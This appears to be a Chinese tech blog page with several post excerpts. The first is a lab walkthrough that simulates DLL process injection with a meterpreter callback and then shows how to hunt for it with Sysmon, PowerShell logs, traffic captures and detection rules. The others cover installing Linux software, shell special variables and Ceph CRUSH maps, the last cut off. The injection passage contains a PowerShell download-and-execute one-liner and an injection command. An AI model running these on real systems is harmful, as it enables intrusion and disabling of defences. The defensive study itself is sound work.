(3)准备Powershell脚本该脚本具备实现DLL注入的功能,目的是将evil.dll注入至目标进程。项目参考PowerSpolit或者Faanross。以管理员打开powershell下载脚本并注入内存,操作如下: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/faanross/threat.hunting.course.01.resources/main/Invoke-DllInjection-V2.ps1') 若无任何输出,则表示执行成功。 3.3 注入恶意dll 此时进程注入脚本运行在powershell进程中,在注入evil.dll之前需要选择某个合法的进程。下面以创建可启动的 USB 驱动器程序rufus.exe为例进行注入。运行 rufus.exe并找到该进程 ID,将其作为参数传递给注入脚本。运行以下命令: Invoke-DllInjection -ProcessID 1480 -Dll C:\Users\admin\Desktop\evil.dll 回到Kali系统,查看msf控制面板的输出,可观察到成功回连。如下图所示: 3.4 执行命令 连接成功后,可以进一步操作受控机器,比如下载文件或执行命令查看详细信息。执行过程如下所示: 3.5日志导出 以管理员打开powershell,输出sysmon与powershell script命令行日志,运行如下命令:Sysmon日志: wevtutil epl "Microsoft-Windows-Sysmon/Operational" "C:\Users\User\Desktop\SysmonLog.evtx” Powershell日志: wevtutil epl "Microsoft-Windows-PowerShell/Operational" "C:\Users\User\Desktop\PowerShellScriptBlockLog.evtx" "/q:*[System[(EventID=4104)]]" 4. 攻击分析 4.1 Powershell脚本分析 (1)首先,恶意软件需要搜索进程以进行注入。通常使用三个应用程序接口来搜索目标进程,分别是:CreateToolhelp32Snapshot用于枚举指定进程或所有进程的堆或模块状态,并返回快照。Process32First检索关于快照中第一个进程的信息,然后在循环中使用Process32Next对其进行迭代,但本次实验中未涉及上述步骤,而是指定目标进程ID,并将其作为参数传入。 (2)选取目标进程后,恶意软件调用OpenProcess获得目标进程的句柄。进程ProcessAccessFlags.All =0x001F0FFF,表示打开进程时获取了所有可能的权限,允许进行广泛的进程操作。这些权限包括读取、写入、执行、分配内存等。 (3)调用VirtualAllocEx在目标进程中分配内存空间。参数类型为目标进程的句柄、分配内存的大小、分配内存的地址、分配类型和访问权限。(4)使用WriteProcessMemory在分配的内存中写入DLL路径名称。包括目标进程的句柄、目标进程的内存地址、要写入的数据和数据的大小。 (5)调用RtlCreateUserThread远程进程中创建一个新线程 (也可使NtCreateThreadEx或CreateRemoteThread),将LoadLibrary的地址传递给此API(它需要磁盘上有一个可以检测到的恶意DLL),将该线程的执行地址设置为 $LoadLibraryAddr(kernel32.dll 中的 LoadLibraryA 函数),以便加载远程进程中的 DLL。 4.2 Dll分析 使用IDA Pro打开evil.dll文件,可以看到此模块包含三个函数:sub_10001000,sub_10001050,sub_100011A0,DllEntryPoint(导出函数),其中sub_10001050完成核心功能:实现进程创建与网络连接。该代码段先初始化进程启动所需的变量值(StartupInfo、IpProcessInformation 结构体)、当前工作目录、环境变量、创建标志、句柄,随后创建rundll32.exe进程,再根据条件语句判断返回值(注意cmp,jnz指令)执行loc100010cc处的代码段。 继续使用IDA将sub_10001050转换为伪代码,如下图所示, 调用 WriteProcessMemory 函数,将地址为 unk_10003000 的数据块推送到堆栈中,写入目标进程的内存执行。 提取该处的shellcode保存为二进制文件,使用工具scdbg分析此部分shellcode功能,可以看到实际上是调用WSASocket实现的联网行为。该处的地址与端口即为handler设置的值。 查看MS源码,如下图所示。除了完成以上功能外,该stager继续处理接收到的内容,首先开辟4字节的buffer用于接收第二阶段的stage,使用virtualAlloc开辟对应长度的空间,循环读取接收内容并记录当前地址ebx,最后运行ebp用于第二阶段的持续控制。 4.3过程分析 过程回顾: (1)首先生成了一个恶意 DLL。(2)将此 DLL 传输到受害者的系统。(3)开启了meterpreter监听处理。(4)下载并执行powershell 脚本,将其注入到内存中。(5)运行合法进程(rufus.exe),将恶意 dll 注入到内存空间中。(6)注入的 DLL回连步骤3中的地址,从而建立连接。 (7)与控制端进行通信处理接第二阶段的payload。 实际的攻击场景可能是这样:攻击者向目标主体发送鱼叉式网络钓鱼电子邮件。该员工打开了电子邮件的附件,它可能会运行嵌入的 VBA 宏,其中包含恶意代码。它负责下载攻击脚本并将其注入内存;比如利用合法进程下载并执行包含免杀功能逃避终端安全的检测。攻击者会选择某进程进行注入,通常比文件落地更难以检测。 首先使用Windows原生工具回顾攻击过程,包括:网络连接、进程、注册表项等。 4.3.1网络连接 打开 PowerShell 管理终端并运行以下命令: netstat -naob 命令行参数包含 o 和 b,显示每个连接中涉及的 PID 以及可执行文件的名称。查看ESTABLISHED 连接能够观察到 rundll32.exe 发起了一个网络连接,如下图所示: 它用于加载 DLL。那么问题来了:为什么它会参与出站网络连接?在日常情况下,应该立即查看有关该 IP 的更多信息。例如是内部地址,是否有与之相关的业务系统,是否网络上的其他系统也连接到它,通过关联威胁情报或IOC库查看详细信息。 4.3.2进程信息 接下来需要了解上述进程的详细信息,例如运行的命令行参数、父进程、以及该进程正在使用哪些 DLL。运行命令如下: tasklist /m /fi "pid eq 6256" 此输出似乎没有任何异常,查看PID=6256的父进程: wmic process where processid=6256 get parentprocessid 其父进程 PPID 为 1480, 查看该进程名称,如下图所示: wmic process where processid=1480 get Name 我们可以看到rundll32.exe没有提供任何参数。由于 rundll32.exe通常用于执行特定DLL文件中的函数,因此会看到它附带指定 DLL 文件和它应该执行的函数的参数。 思考:目前发现2处异常点:(1)创建网络连接的进程及父子进程关系异常。 (2)该进程在没有命令行参数的情况下运行异常。 4.3.3 Process Hacker 使用 Process Hacker 等工具查看进程的关键属性: 进程树关系 程序签名是否合法 当前启动目录 命令行参数 线程起始地址 执行权限 内存。 以管理员身份运行Process Hacker,筛选rufus.exe进程信息rufus.exe 详细观察以上7 个指标。 (1)Parent-Child relationships观察到进程 rufus.exe生成了子进程 rundll32.exe,随之rundll32.exe 又生成了 cmd.exe。rundll32.exe通常用于执行DLL,此进程关系是比较可疑的。(2)Signature 双击进程rundll32.exe。我们可以在这里看到它有一个由微软签署的有效签名,此处暂无可疑信息。 (3)Current directory 在同一张图中,我们可以看到当前进程的工作目录是桌面,因为它是从桌面启动的。rundll32.exe 调用 DLL 函数的合法脚本或应用程序一般为磁盘某绝对路径下的应用程序。从用户桌面等异常位置调用 rundll32.exe的情况比较可疑。 (4)Command-line arguments 看到命令行是 rundll32.exe,之前讨论在合理场景下需要路径与命令行参数。 (5)Thread Start Address在“属性”窗口顶部,选择“线程”选项卡。可以在“开始地址”下看到它已被映射,表明文件它确实存在于磁盘上,表明这不是一个反射加载的 DLL。(6)Memory Permissions在“属性”窗口选择“内存”。向下查询观察到RWX 权限。 从结果中看到存在两个具有读-写-执行权限的内存空间,在正常程序执行的过程中,很少有合法程序会写入内存然后立即执行它。 (7)Memory Content双击size为172 kB的memory,可查看加载的内容,从图中可看出: 两个明显标识表明该进程正在处理 Windows PE 文件。我们可以看到魔术字节 (MZ) 与 PE Dos关联的字符串。 总结:使用 Process Hacker发现异常点如下: rundll32.exe 生成了cmd.exe和conhost.exe命令行执行环境; rundll32.exe 从桌面运行; 该进程还具有 RWX 内存空间权限并包含 PE 文件。 4.3.4 Sysmon 安全社区的大神推荐过较多利用sysmon进行威胁检测的演讲,如果了解更多有关 Sysmon 的详细信息,推荐连接: (1)Sysmon详情:https://www.某tube.com/watch?v=6W6pXp6EojY(2)Trustedsec:https://www.某tube.com/playlist?list=PLk-dPXV5k8SG26OTeiiF3EIEoK4ignai7 (3)Sysmon for threathunting:https://www.某tube.com/watch?v=7dEfKn70HCI 打开内置的EventViewer,包含不同类型事件 ID。详细介绍参考官网或者博客Black Hills Infosec https://www.blackhillsinfosec.com/a-sysmon-event-id-breakdown/ 首先查看第一个事件ID=22,此时PowerShell 正在对raw.githubusercontent.com执行 DNS 请求。对应于IEX命令下载Web 服务器脚本。日志详情如下图所示: 命令行地址参数为raw.githubusercontent.com,因此发生了DNS 解析和Sysmon 事件ID 22。当攻击者通过初始化访问建立据点后,会访问 Web 服务器下载另一个脚本(即Payload),此行为可能会产生 DNS请求记录,该记录是检测命令与控制行为重要指标。与IP地址类似,当我们发现有外联请求时,需要确定地址是否为业务正常请求,是否为服务合法地址,是否为威胁情报黑名单,是否为已知恶意 IOC库地址。 随之我们看到event=3的网络连接,此时evil.dll被注入rufus内存,rundll32创建网络连接,回连至攻击机器的88端口。 然后,发生三个注册表操作,事件ID分别为13、12、13。第一个 (ID 13) 如下所示。可以看到 rufus.exe修改了注册表项。路径以 DisableAntiSpyware 结尾。如下图所示: 实际上不是rufus.exe而是注入的恶意代码操作关闭MS Defender 反间谍软件功能。(备注:考虑恶意软件的行为,认为该值应该被设置为1 (DWORD (0x00000001)),表示禁用反恶意软件功能。但是测试若干次发现该值被设置为0,待进一步解决。)下一个日志条目 (ID 12) 指示注册表项上发生了删除事件。 该注册表项与上面的名称相同(DisableAntiSpyware),但是注意 TargetObject 的完整路径。第一个位于HKU\...下,而这里的位于HKLM\...下。HKU代表HKEY_USERS,HKLM代表HKEY_LOCAL_MACHINE。HKU 配置单元包含计算机上Windows 用户配置文件的配置信息,而 HKLM 配置单元包含计算机上所有用户使用的配置数据。第一个涉及特定用户,第二个涉及整个系统。svchost.exe 进程以系统权限(最高级别的权限)运行,这使其能够修改系统范围的密钥。 在这里,我们可以看到与第一个条目中执行的操作相同,即先删除后设置为 1 来禁用反间谍软件功能。通过将注册表项返回到默认状态(这就是删除它的实际效果),确保系统不会出现可能干扰恶意软件操作的配置。最后,观察到ID 为 1 的事件,该事件是恶意软件活动重要特征。   在这里我们可以看到Windows远程协助COM服务器可执行文件(raserver.exe)已经启动。该工具用于远程协助,允许远程用户无需邀请即可连接。此远程协助工具可以为攻击者提供远程交互式命令行或 GUI 访问,类似于远程桌面,可用于与系统交互并可能窃取数据。 4.3.5 PowerShell 脚本块 开启特定模块的日志,Powershell日志量相对较少,如下图所示。首先,PowerShell ScriptBlock 日志记录都是与事件 ID 4104 相关联。几乎所有条目都是成对出现。在第三个条目中,我们可以看到与 PowerShell 命令相关的日志,该命令从 Web 服务器下载注入脚本并将其加载到内存中。在现实的攻击场景中,从类似stager的进程下载具体执行内容。下一个条目展示了下载并注入内存的脚本的实际内容。因此,当我们运行前面的 IEX 命令时,它会从提供的 FQDN 下载脚本并将其直接注入到内存中。每个 PowerShell ScriptBlock 日志条目后面都会跟着另一个prompt提示,以便可以输入后续命令。再往下看到将恶意 DLL 注入 rufus.exe 的命令日志条目,这是在实际攻击中看到的内容。接下来是具有完全相同时间戳的另外两个条目,其中包含我们未显式运行的命令。由于时间戳完全相同,可以假设它们是由我们运行的命令(Invoke-DllInjection -ProcessID 3468 -Dll C:\Users\User\Desktop\evil.dll)产生的。这些条目可能与程序集交互或分析程序集的过程有关,是 DLL 注入过程的一部分。 总结: 到目前为止我们没有深入分析攻击的过程与原理,但是通过日志我们能发掘较多异常点。在本节中,使用 Sysmon可疑收集到:(1)下载注入脚本而访问的 Web 服务器的 URL、IP 和主机名;(2)该恶意软件操纵了DisableAntiSpyware 注册表项;(3)该恶意软件启动了带有 /offerraupdate 标志的 raserver.exe,从而创建了另一个潜在的后门;使用 PowerShell ScriptBlock 收集到:(1)powershell从 Web 服务器下载脚本并将其注入内存; (2)使用特定命令行将脚本注入到rufus.exe中,同时可疑查看 dll 注入脚本的实际内容。 4.3.6流量分析 首先可以看到针对raw.githubusercontent.com 的 DNS 请求与响应数据包。这是初始 IEX 命令访问特定 Web 服务器以下载注入脚本的地方。双击第二个数据包(响应),查看数据包详细信息可查看返回值不同的地址,可能对应不同的CDN地址。我们可以在SIEM中立即查询该IOC,例如查看是否有于其他系统的通信、是否存在于任何威胁情报黑名单中等。在 DNS 之后,我们可以立即看到系统和 Web 服务器之间的会话。首先对证书进行身份验证,然后进行加密 (TLS) 交换。可以看到目标系统和攻击者之间建立reverse_tcp连接。接着右键数据包,然后选择“跟随”-“TCP 流”。可查看交换的整个数据流,虽然大部分内容被加密/混淆,但是在顶部我们看到魔术字节和 dos本文,显示有Windows可执行文件头的签名标识。 5.检测规则 rundll32.exe的使用语法如下: rundll32.exe <dllname>,<entrypoint> <optional arguments> 结合上述例子我们从rundll32.exe路径开始建立几条基本的规则。 父子进程关系 在某些场景下存在不规范的命令行参数,日志详情如下所示:从日志内容看为进程启动日志,但其命令行没有详细参数而且currentDirectory路径为用户桌面。该场景下规则设置条件为未包含关键字dll,再从搜索结果中观察父子进程的关系。如下图所示: 实际上该日志对应于evil.dll在后渗透阶段调用 rundll32.exe 进行回连并处理下一步的payload所产生,实际上这一场景可以通过此技巧进行检测。 (1)命令行参数继续关注DLL文件调用位置以及命令行参数。使用正则表达式提取DLL路径与参数,以event_id、image、commandLine为字段建立检测规则如下所示:以dllname、fuction聚合统计后建立阈值,关注特定阈值下的值。例如从桌面加载evil.dll或者%temp%调用kernel32.dll,这属于可疑程度很高的行为需要进一步结合其他数据进行判断,如下图所示:(2)进程路径Rundll32合法路径为两类: C:\Windows\System32\rundll32.exeC:\Windows\SysWOW64\rundll32.exe 利用sysmon日志中的Image字段建立一条检测规则:接下来统计出现过的路径值,尽一切可能建立正常的行为基线,排除正常路径值,关注异常值。例如以下场景就可能涉及恶意行为。(3)网络连接本次模拟中,rundll32 在网络通信行为只有一处,即回连攻击机的88端口。根据研究人员观察,rundll32的网络通信行为并不活跃,对于规则运营是比较有好的。利用sysmon日志网络连接日志建立一条检测规则并对image、SourceIP、DestinationIp进行分桶聚合:如果能结合进程启动日志,建立进程关系图就能更直观的展示行为序列,从而进行研判。 【总结】 本文采用较为经典的创建线程实现注入,实际上至少有10种进程注入的实现方式,不同攻击方式可能对应不同的检测规则,后续会覆盖不同的场景。如果在生产环境中有更好的规则调优方法,欢迎评论区分享你的经验。 [1]https://attack.mitre.org/techniques/T1055/ [2]http://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html [3]https://mp.weixin.qq.com/s/9v6qGqHlzD6Ee3ICOeuVvQ [4] https://www.elastic.co/cn/blog [5] https://muchangfeng.gitbook.io/ ...

    2023-11-19 技术教程 160
  • Linux系统安装软件四种方式

    Linux系统安装软件四种方式: 绿色安装 yum安装 rpm安装 源码安装 1. 绿色安装 这种方式最简便,一般提供Compressed Archive压缩文档包,如Java软件的压缩文档包,只需要解压、设置环境变量即可直接使用。 # 下载软件 https://www.oracle.com/java/technologies/downloads/ # 新建java软件存放路径 mkdir /opt/java # 解压 tar -xvf jdk-21_linux-x64_bin.tar.gz -C /opt/java # 设置环境变量 vim /etc/profile.d/java.sh JAVA_HOME=/opt/java/jdk-21.0.1/ CLASSPATH=.:$JAVA_HOME/lib PATH=JAVA_HOME/bin:$PATH export JAVA_HOME CLASSPATH PATH # 加载环境变量 source /etc/profile.d/java.sh # 检验java环境是否配置好 java 2. yum安装 前提条件是有网络 需要安装的软件及版本,yum源里刚好有。 # 搜索redis源 yum search redis # 查看redis详细信息 yum info redis # 安装redis软件 yum -y install redis # 查看redis状态 systemctl status redis # 设置开机自启 systemctl enable redis # 启动redis服务 systemctl start redis 3. rpm安装 需要的软件及版本,只提供了rpm包 3.1 rpm常用命令 # 安装一个包 rpm -ivh 包名 # 升级一个包 rpm -Uvh 包名 # 查询包是否安装 rpm -q 包名 # 查询安装包详情信息 rpm -qi 包名 # 列出服务器上的一个文件属于哪个rpm包 rpm -qf 文件名 # 列出所有安装的rpm包 rpm -qa # 卸载包 rpm -e 包名 [root@centos ~]# rpm --help Usage: rpm [OPTION...] Query/Verify package selection options: -a, --all query/verify all packages -f, --file query/verify package(s) owning file -g, --group query/verify package(s) in group -p, --package query/verify a package file --pkgid query/verify package(s) with package identifier --hdrid query/verify package(s) with header identifier --triggeredby query the package(s) triggered by the package --whatrequires query/verify the package(s) which require a dependency --whatprovides query/verify the package(s) which provide a dependency --nomanifest do not process non-package files as manifests Query options (with -q or --query): -c, --configfiles list all configuration files -d, --docfiles list all documentation files -L, --licensefiles list all license files --dump dump basic file information -l, --list list files in package --queryformat=QUERYFORMAT use the following query format -s, --state display the states of the listed files Verify options (with -V or --verify): --nofiledigest don't verify digest of files --nofiles don't verify files in package --nodeps don't verify package dependencies --noscript don't execute verify script(s) Install/Upgrade/Erase options: --allfiles install all files, even configurations which might otherwise be skipped --allmatches remove all packages which match <package> (normally an error is generated if <package> specified multiple packages) --badreloc relocate files in non-relocatable package -e, --erase=<package>+ erase (uninstall) package --excludedocs do not install documentation --excludepath=<path> skip files with leading component <path> --force short hand for --replacepkgs --replacefiles -F, --freshen=<packagefile>+ upgrade package(s) if already installed -h, --hash print hash marks as package installs (good with -v) --ignorearch don't verify package architecture --ignoreos don't verify package operating system --ignoresize don't check disk space before installing -i, --install install package(s) --justdb update the database, but do not modify the filesystem --nodeps do not verify package dependencies --nofiledigest don't verify digest of files --nocontexts don't install file security contexts --noorder do not reorder package installation to satisfy dependencies --noscripts do not execute package scriptlet(s) --notriggers do not execute any scriptlet(s) triggered by this package --nocollections do not perform any collection actions --oldpackage upgrade to an old version of the package (--force on upgrades does this automatically) --percent print percentages as package installs --prefix=<dir> relocate the package to <dir>, if relocatable --relocate=<old>=<new> relocate files from path <old> to <new> --replacefiles ignore file conflicts between packages --replacepkgs reinstall if the package is already present --test don't install, but tell if it would work or not -U, --upgrade=<packagefile>+ upgrade package(s) --reinstall=<packagefile>+ reinstall package(s) Common options for all rpm modes and executables: -D, --define='MACRO EXPR' define MACRO with value EXPR --undefine=MACRO undefine MACRO -E, --eval='EXPR' print macro expansion of EXPR --macros=<FILE:...> read <FILE:...> instead of default file(s) --noplugins don't enable any plugins --nodigest don't verify package digest(s) --nosignature don't verify package signature(s) --rcfile=<FILE:...> read <FILE:...> instead of default file(s) -r, --root=ROOT use ROOT as top level directory (default: "/") --dbpath=DIRECTORY use database in DIRECTORY --querytags display known query tags --showrc display final rpmrc and macro configuration --quiet provide less detailed output -v, --verbose provide more detailed output --version print the version of rpm being used Options implemented via popt alias/exec: --scripts list install/erase scriptlets from package(s) --setperms set permissions of files in a package --setugids set user/group ownership of files in a package --setcaps set capabilities of files in a package --restore restore file/directory permissions --conflicts list capabilities this package conflicts with --obsoletes list other packages removed by installing this package --provides list capabilities that this package provides --requires list capabilities required by package(s) --info list descriptive information from package(s) --changelog list change logs for this package --xml list metadata in xml --triggers list trigger scriptlets from package(s) --last list package(s) by install time, most recent first --dupes list duplicated packages --filesbypkg list all files from each package --fileclass list file names with classes --filecolor list file names with colors --fscontext list file names with security context from file system --fileprovide list file names with provides --filerequire list file names with requires --filecaps list file names with POSIX1.e capabilities Help options: -?, --help Show this help message --usage Display brief usage message # 安装java的jdk rpm -ivh jdk-21_linux-x64_bin.rpm # 查看安装的jdk rpm -qa | grep "jdk" # 忽略依赖关系强制卸载jdk rpm -evh --nodeps jdk-21-21.0.1-12.x86_64 4. 源码安装 软件给的是C语言的源代码,需要编译成二进制,再安装。 Linux下安装软件,大型软件docker、oracle一般放/opt目录下;/usr目录一般由软件包管理器(yum、apt)来管理;/usr/local是用户级程序目录,/usr/local/src是用户级存放目录。 以安装nginx为例 # 安装依赖 yum install -y gcc pcre-devel openssl-devel 4.1 执行configure脚本 ./configure [option…] 通过选项传递参数,指定安装路径、启用特性等;执行时会参考用户的指定以及Makefile.in文件生成Makefile 检查依赖到的外部环境,如依赖的软件包 tar -xvf nginx-1.25.3.tar.gz cd nginx-1.25.3 ./configure --prefix=/usr/local/nginx --with-http_stub_status_module --with-http_ssl_module --user=nginx --group=nginx 选项说明: 选项 说明 –prefix=/usr/local/nginx 编译安装目录。如果没有指定,默认为 /usr/local/程序名 –user=nginx 所属用户nginx –group=nginx 所属组nginx –with-http_stub_status_module 该模块提供nginx的基本状态信息 –with-http_ssl_module 支持HTTPS 4.2 编译、安装 # 编译 make make 根据Makefile文件,会检测依赖的环境,进行构建应用程序 4.3 安装 # 安装 make install make install 复制文件到相应路径 4.4 操作nginx # 启动服务 /usr/local/nginx/sbin/nginx # 重新加载配置文件 /usr/local/nginx/sbin/nginx -s reload # 设置软连接 ln -s /usr/local/nginx/sbin/nginx /usr/local/sbin/ # 强制停止 nginx -s stop # 安全退出 nginx -s quit # 查看进程 ps -ef | grep nginx # 测试 curl 127.0.0.1 4.5 创建服务器 编写配置文件 # 编写配置文件 vi /usr/lib/systemd/system/nginx.service # 写入这些信息 [Unit] Description=nginx After=network.target [Service] Type=forking ExecStartPre=/usr/local/nginx/sbin/nginx -t ExecStart=/usr/local/nginx/sbin/nginx ExecReload=/usr/local/nginx/sbin/nginx -s reload ExecStop=/usr/local/nginx/sbin/nginx -s quit PrivateTmp=true [Install] WantedBy=multi-user.target 使用systemctl管理nginx服务 systemctl enable nginx systemctl strat nginx systemctl status nginx </div> ...

    2023-11-14 技术教程 229
  • Linux系统shell中那些特殊变量

    在Shell脚本中,$符号有多种含义,它通常用于表示变量、特殊变量或参数,今天介绍几个特殊的变量。 $0表示shell脚本文件本身 $1 ~ $n脚本的位置参数,表示脚本或函数的参数。例如,$1表示第一个参数,$2表示第二个参数,依此类推 $#传递给脚本或函数的参数个数 $@传递给脚本或函数的所有参数的列表,每个参数是一个独立的单词 $?表示上一个命令的退出状态,如果为0表示成功,非零值表示失败 $$表示当前脚本或进程的进程ID $!表示后台运行的最后一个进程的进程ID $*表示所有传递给脚本的参数列表(位置参数),并将它们作为一个单词显示 $-用于显示当前Shell的选项设置 当运行 echo $- 时,它会输出一个包含不同字母的字符串 # echo $- himBH 每个字母的含义如下: h: 启用hash命令功能,用于记住命令的路径,以加快命令的查找速度。 i: 启用Shell的交互模式。 m: 启用作业控制的多用户模式。 B: 启用通知作业完成状态的功能。 H: 启用Shell历史功能。 因此,himBH 表示这个Shell当前启用了 hash、交互模式、多用户模式、作业状态通知和历史功能。 这些选项可以根据脚本或Shell的需要进行配置 注意:$* 和 $@ 在大多数情况下表现相似,但在处理引号时有一些关键的区别。 [root@localhost]# cat b.sh && bash b.sh # 使用 "$*" 和 "$@" set -- "arg1" "arg2 with space" "arg3" echo 'Using "$*"' for arg in "$*"; do echo $arg done echo 'Using "$@"' for arg in "$@"; do echo $arg done Using "$*" arg1 arg2 with space arg3 Using "$@" arg1 arg2 with space arg3 在"$*"中,所有参数被当作单个字符串,参数之间用第一个字符(默认是空格)分隔。而在"$@"中,每个参数都被当作独立的字符串。 在实际使用中,如果希望参数原封不动的传递出去,可能更适合使用"$@",它以类似数组的方式表示传递给脚本的所有参数。 ...

    2023-11-13 技术教程 166
  • Ceph中创建和管理自定义CRUSH Map笔记整理

    管理和定制CRUSH Map CRUSH和目标放置策略 Ceph 通过一种称为 CRUSH(可伸缩哈希下的受控复制)的放置算法来计算哪些osd应该持有哪些对象,对象被分配到放置组(pg), CRUSH 决定这些 放置组 应该使用哪个 osd来存储它们的对象,即 crush 决定了 pg 到 osd 的映射关系。 CRUSH的算法 CRUSH算法 使 Ceph客户端能够直接与 osd通信,这避免了集中式服务瓶颈,Ceph客户端和 osd使用CRUSH 算法高效地计算对象位置的信息,而不是依赖于一个中央查找表。 Ceph 客户端检索集群映射,并使用 CRUSH Map 从算法上确定如何存储和检索数据,通过避免单点故障和性能瓶颈,这为Ceph 集群提供了大规模的可伸缩性 CRUSH算法 的作用是将 数据统一分布在对象存储中,管理复制,并响应系统增长和硬件故障,当 新增OSD或已有OSD或OSD主机故障 时,Ceph通过CRUSH在主OSD间实现集群对象的再平衡 CRUSH Map 组件 从概念上讲,一个CRUSH map包含两个主要组件: CRUSH层次结构 这将列出所有可用的 osd,并将它们组织成树状的桶结构 CRUSH层次结构通常用来表示osd的位置,默认情况下,有一个root桶代表整个层次结构,其中包含每个OSD主机的一个主机桶 [root@clienta ~]# ceph osd tree ID CLASS WEIGHT TYPE NAME STATUS REWEIGHT PRI-AFF -1 0.09796 root default -3 0.03918 host serverc 0 hdd 0.00980 osd.0 up 1.00000 1.00000 1 hdd 0.00980 osd.1 up 1.00000 1.00000 2 hdd 0.00980 osd.2 up 1.00000 1.00000 9 hdd 0.00980 osd.9 up 1.00000 1.00000 -5 0.02939 host serverd 3 hdd 0.00980 osd.3 up 1.00000 1.00000 4 hdd 0.00980 osd.4 up 1.00000 1.00000 5 hdd 0.00980 osd.5 up 1.00000 1.00000 -7 0.02939 host servere 6 hdd 0.00980 osd.6 up 1.00000 1.00000 7 hdd 0.00980 osd.7 up 1.00000 1.00000 8 hdd 0.00980 osd.8 up 1.00000 1.00000 OSD是树的叶子节点,默认情况下,同一个OSD主机上的所有OSD都放在该主机的桶中,可以自定义树状结构,重新排列,增加层次,将OSD主机分组到不同的桶中,表示其在不同的服务器机架或数据中心的位置 至少有一条CRUSH规则 CRUSH 规则决定了如何从这些桶中分配放置组的osd,这决定了这些放置组的对象的存储位置。不同的池可能会使用不同的CRUSH规则 CRUSH  桶类型 CRUSH 层次结构将 osd 组织成一个由不同容器组成的树,称为桶。对于大型安装,可以创建特定的层次结构来描述存储基础设施:数据中心、机架、主机和OSD设备。 通过创建一个CRUSH map规则,可以使 Ceph 将一个对象的副本放在独立服务器上的osd上,放在不同机架的服务器上,甚至放在不同数据中心的服务器上 总而言之,桶是 CRUSH层次结构中的容器或分支。osd设备是CRUSH等级中的叶子 一些最重要的桶属性有: 桶ID,这些id为负数,以便与存储设备的id区分开来 桶的名称 桶的类型,默认映射定义了几种类型,可以使用ceph osd crush dump命令检索这些类型 [root@clienta ~]# ceph osd crush dump | grep type_name "type_name": "root", "type_name": "root", "type_name": "host", "type_name": "host", "type_name": "host", "type_name": "host", "type_name": "host", "type_name": "host", 桶类型包括root、region、datacenter、room、pod、pdu、row、rack、chassis和host,但你也可以添加自己的类型、位于层次结构根的桶属于根类型 Ceph 在将 PG 副本映射到 osd 时选择桶内物品的算法。有几种算法可用:uniform、list、tree和straw2。每种算法都代表了性能和重组效率之间的权衡。缺省算法为straw2 Uniform(均等分配):Uniform 算法简单地将数据均匀地分配给存储集群中的 OSD(Object Storage Device)。优点是实现简单,能够提供基本的负载均衡效果。然而,它无法考虑 OSD 的实际负载情况,可能导致一些 OSD 负载过高而其他 OSD 负载较轻。 List(列表调度):List 算法根据预定义的 OSD 列表顺序来分配数据。优点是可以根据需求灵活地配置 OSD 列表,适用于特定的负载均衡需求。然而,如果 OSD 列表中的 OSD 负载不均匀,可能导致一些 OSD 过载而其他 OSD 闲置。 Tree(树状调度):Tree 算法使用树状结构来分配数据,将数据在多个层级的 OSD 中进行选择。优点是可以根据 OSD 的性能和负载情况进行智能调度,将数据分配给性能较好的 OSD。然而,实现相对复杂,需要维护和调整树状结构,适用于较大规模的负载均衡场景。 Straw2(稻草算法):Straw2 算法考虑了 OSD 的负载和权重指标,并根据这些指标计算出一个权重值,然后根据权重值来分配数据。优点是可以根据 OSD 的实时负载情况进行智能调度,将数据分配给负载较轻的 OSD。然而,计算权重值需要一定的计算资源,且可能导致数据在短时间内频繁迁移。 自定义故障和性能域 CRUSH 映射是 CRUSH算法 的 中心配置机制,可以编辑此 map 以影响数据放置并自定义CRUSH算法 配置 CRUSH 映射和创建单独的 故障域 允许 osd 和集群节点发生故障,而不会发生任何数据丢失。在问题解决之前,集群只是以降级状态运行 配置 CRUSH Map并创建单独的性能域可以减少使用集群存储和检索数据的客户机和应用程序的性能瓶颈。 定制  CRUSH Map 的典型用例 针对 硬件故障 提供额外的保护。可以配置 CRUSH Map 以匹配底层物理基础设施,这有助于减轻硬件故障的影响 默认情况下,CRUSH算法将复制的对象放置在不同主机上的osd上。可以定制CRUSH map,这样对象副本就可以跨osd放置在不同的架子上,或者放置在不同房间的主机上,或者放置在具有不同电源的不同架子上 将带有 SSD驱动器的 osd  分配给需要快速存储的应用程序使用的池,而将带有传统hdd的osd分配给支持要求较低的工作负载的池 CRUSH map可以包含多个层次结构,你可以通过不同的CRUSH规则进行选择。通过使用单独的 CRUSH 层次结构,可以建立单独的性能域。例如,CRUSH 可以为 hdd 创建一个层次结构,为 ssd 创建另一个层次结构 配置单独性能域的用例示例如下: 分离虚拟机使用的块存储和应用使用的对象存储 将包含不经常访问的数据的“冷”存储区与包含经常访问的数据的“热”存储区分开 一个实际的CRUSH map定义,它包含: 所有可用物理存储设备的列表 所有基础设施桶的列表,以及每个桶中存储设备或其他桶的id。请记住,bucket是基础结构树中的容器或分支,例如,它可能表示一个位置或一块物理硬件 将pg映射到osd的CRUSH规则列表 其他CRUSH可调参数及其设置的列表 集群安装过程部署一个默认的CRUSH映射,可以使用ceph osd crush dump命令打印JSON格式的crush map。你也可以导出映射的二进制副本,并将其反编译为文本文件: [ceph: root@node /]# ceph osd getcrushmap -o ./map.bin [ceph: root@node /]# crushtool -d ./map.bin -o ./map.txt 自定义OSD CRUSH设置 CRUSH Map包含集群中所有存储设备的列表。对于每台存储设备,已获取如下信息: 存储设备的ID 存储设备的名称 存储设备的权重,通常以tb为单位。 例如,4tb的存储设备重量约为4.0。这是设备可以存储的相对数据量,CRUSH算法使用这一数据来帮助确保对象的均匀分布 host serverc { id -3 # do not change unnecessarily id -4 class hdd # do not change unnecessarily # weight 0.039 alg straw2 hash 0 # rjenkins1 item osd.0 weight 0.010 item osd.1 weight 0.010 item osd.2 weight 0.010 item osd.9 weight 0.010 } 可以通过ceph osd crush reweight命令设置OSD的权重。CRUSH的树桶权重应该等于它们的叶子权重的总和。 如果手动编辑 CRUSH Map权重,那么应该执行以下命令来确保CRUSH树桶的权重准确地反映了桶内叶片osd的总和 [ceph: root@node /)# ceph osd crush reweight-all reweighted crush hierarchy 存储设备的类别,存储集群支持多种存储设备,如hdd、ssd、NVMe ssd等。 存储设备的类反映了这些信息,可以使用这些信息创建针对不同应用程序工作负载优化的池。osd自动检测和设置它们的设备类。ceph osd crush set-device-class命令用于显式设置OSD的设备类。 使用ceph osd crush rm device-class 从 osd 中删除一个设备类 ceph osd crush tree命令显示crush map当前的层级: [ceph: root@clienta /]# ceph osd crush tree ID CLASS WEIGHT TYPE NAME -1 0.08817 root default -3 0.02939 host serverc 0 hdd 0.00980 osd.0 1 hdd 